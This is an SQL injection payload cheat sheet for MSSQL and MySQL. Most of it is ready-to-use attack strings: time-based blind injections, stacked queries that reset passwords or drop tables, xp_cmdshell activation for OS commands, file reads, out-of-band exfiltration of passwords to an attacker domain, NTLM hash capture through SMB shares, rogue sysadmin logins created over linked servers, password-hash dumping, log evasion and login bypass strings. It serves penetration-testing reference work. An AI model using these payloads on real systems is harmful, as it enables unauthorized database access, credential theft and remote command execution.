SQL Injection

In a time-based blind SQL injection attack, an attacker injects a payload that uses `WAITFOR DELAY` to make the database pause for a certain period. The attacker then observes the response time to infer whether the injected payload executed successfully or not.

ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--

IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';

* Stacked query without any statement terminator ```sql -- multiple SELECT statements SELECT 'A'SELECT 'B'SELECT 'C' -- updating password with a stacked query SELECT id, username, password FROM users WHERE username = 'admin'exec('update[users]set[password]=''a''')-- -- using the stacked query to enable xp_cmdshell -- you won't have the output of the query, redirect it to a file SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- ``` * Use a semi-colon "`;`" to add another query ```sql ProductID=1; DROP members-- ```

**Permissions**: The `BULK` option requires the `ADMINISTER BULK OPERATIONS` or the `ADMINISTER DATABASE BULK OPERATIONS` permission.

OPENROWSET(BULK 'C:\path\to\file', SINGLE_CLOB)

Example:

-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null

execute spWriteStringToFile 'contents', 'C:\path\to\', 'file'

`xp_cmdshell` is a system stored procedure in Microsoft SQL Server that allows you to run operating system commands directly from within T-SQL (Transact-SQL).

EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';

If you need to reactivate `xp_cmdshell`, it is disabled by default in SQL Server 2005.

-- Enable advanced options
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;

-- Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

> Executed by a different user than the one using `xp_cmdshell` to execute commands

EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'

Technique from [@ptswarm](https://twitter.com/ptswarm/status/1313476695295512578/photo/1) * **Permission**: Requires `VIEW SERVER STATE` permission on the server. ```powershell 1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.[ATTACKER.DOMAIN.TLD]\1.xem',null,null)) ``` * **Permission**: Requires the `CONTROL SERVER` permission. ```powershell 1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.[ATTACKER.DOMAIN.TLD]\',default,default))) 1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.[ATTACKER.DOMAIN.TLD]\1.trc',default)) ```

MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the `xp_dirtree` function to list the files in our SMB share and grab the NTLMv2 hash.

1'; use master; exec xp_dirtree '\\10.10.10.10\SHARE';--

xp_dirtree '\\10.10.10.10\file'
xp_fileexist '\\10.10.10.10\file'
BACKUP LOG [TESTING] TO DISK = '\\10.10.10.10\file'
BACKUP DATABASE [TESTING] TO DISK = '\\10.10.10.10\file'
RESTORE LOG [TESTING] FROM DISK = '\\10.10.10.10\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\10.10.10.10\file'
RESTORE HEADERONLY FROM DISK = '\\10.10.10.10\file'
RESTORE FILELISTONLY FROM DISK = '\\10.10.10.10\file'
RESTORE LABELONLY FROM DISK = '\\10.10.10.10\file'
RESTORE REWINDONLY FROM DISK = '\\10.10.10.10\file'
RESTORE VERIFYONLY FROM DISK = '\\10.10.10.10\file'

A trusted link in Microsoft SQL Server is a linked server relationship that allows one SQL Server instance to execute queries and even remote procedures on another server (or external OLE DB source) as if the remote server were part of the local environment. Linked servers expose options that control whether remote procedures and RPC calls are allowed and what security context is used on the remote server. > The links between databases work even across forest trusts. * Find links using `sysservers`: contains one row for each server that an instance of SQL Server can access as an OLE DB data source. ```sql select * from master..sysservers ``` * Execute query through the link ```sql select * from openquery("dcorp-sql1", 'select * from master..sysservers') select version from openquery("linkedserver", 'select @@version as version') -- Chain multiple openquery select version from openquery("link1",'select version from openquery("link2","select @@version as version")') ``` * Execute shell commands ```sql -- Enable xp_cmdshell and execute "dir" command EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"') -- Create a SQL user and give sysadmin privileges EXECUTE('EXECUTE(''CREATE LOGIN User WITH PASSWORD = ''''Password123'''' '') AT "DOMAIN\SQL01"') AT "DOMAIN\SQL02" EXECUTE('EXECUTE(''sp_addsrvrolemember ''''User'''' , ''''sysadmin'''' '') AT "DOMAIN\SQL01"') AT "DOMAIN\SQL02" ```

* Listing effective permissions of current user on the server. ```sql SELECT * FROM fn_my_permissions(NULL, 'SERVER'); ``` * Listing effective permissions of current user on the database. ```sql SELECT * FROM fn_my_permissions (NULL, 'DATABASE'); ``` * Listing effective permissions of current user on a view. ```sql SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name; ``` * Check if current user is a member of the specified server role. ```sql -- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin SELECT is_srvrolemember('sysadmin'); ```

EXEC master.dbo.sp_addsrvrolemember 'User', 'sysadmin';

* **MSSQL 2000**: Hashcat mode 131: `0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578` ```sql SELECT name, password FROM master..sysxlogins SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins -- Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer ``` * **MSSQL 2005**: Hashcat mode 132: `0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe` ```sql SELECT name, password_hash FROM master.sys.sql_logins SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins ```

Use `SP_PASSWORD` in a query to hide from the logs like : `' AND 1=1--sp_password`

-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.

> MySQL Injection is a type of security vulnerability that occurs when an attacker is able to manipulate the SQL queries made to a MySQL database by injecting malicious input. This vulnerability is often the result of improperly handling user input, allowing attackers to execute arbitrary SQL code that can compromise the database's integrity and security.

| Name | Description | | ------------------ | ----------------------------------- | | mysql | Requires root privileges | | information_schema | Available from version 5 and higher |

MySQL comments are annotations in SQL code that are ignored by the MySQL server during execution. | Type | Description | | -------------------------- | --------------------------------- | | `#` | Hash comment | | `/* MYSQL Comment */` | C-style comment | | `/*! MYSQL Special SQL */` | Special SQL | | `/*!32302 10*/` | Comment for MYSQL version 3.23.02 | | `--` | SQL comment | | `;%00` | Nullbyte | | \` | Backtick |

* **Strings**: Query like `SELECT * FROM Table WHERE id = 'FUZZ';` ```ps1 ' False '' True " False "" True \ False \\ True ``` * **Numeric**: Query like `SELECT * FROM Table WHERE id = FUZZ;` ```ps1 AND 1 True AND 0 False AND true True AND false False 1-false Returns 1 if vulnerable 1-true Returns 0 if vulnerable 1*56 Returns 56 if vulnerable 1*56 Returns 1 if not vulnerable ``` * **Login**: Query like `SELECT * FROM Users WHERE username = 'FUZZ1' AND password = 'FUZZ2';` ```ps1 ' OR '1 ' OR 1 -- - " OR "" = " " OR 1 = 1 -- - '=' 'LIKE' '=0--+ ```

To successfully perform a union-based SQL injection, an attacker needs to know the number of columns in the original query.

Systematically increase the number of columns in the `UNION SELECT` statement until the payload executes without errors or produces a visible change. Each iteration checks the compatibility of the column count.

UNION SELECT NULL;--
UNION SELECT NULL, NULL;-- 
UNION SELECT NULL, NULL, NULL;--

Keep incrementing the number until you get a `False` response. Even though `GROUP BY` and `ORDER BY` have different functionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query. | ORDER BY | GROUP BY | Result | | --------------- | --------------- | ------ | | `ORDER BY 1--+` | `GROUP BY 1--+` | True | | `ORDER BY 2--+` | `GROUP BY 2--+` | True | | `ORDER BY 3--+` | `GROUP BY 3--+` | True | | `ORDER BY 4--+` | `GROUP BY 4--+` | False | Since the result is false for `ORDER BY 4`, it means the SQL query is only having 3 columns. In the `UNION` based SQL injection, you can `SELECT` arbitrary data to display on the page: `-1' UNION SELECT 1,2,3--+`. Similar to the previous method, we can check the number of columns with one request if error showing is enabled.

ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+ # Unknown column '4' in 'order clause'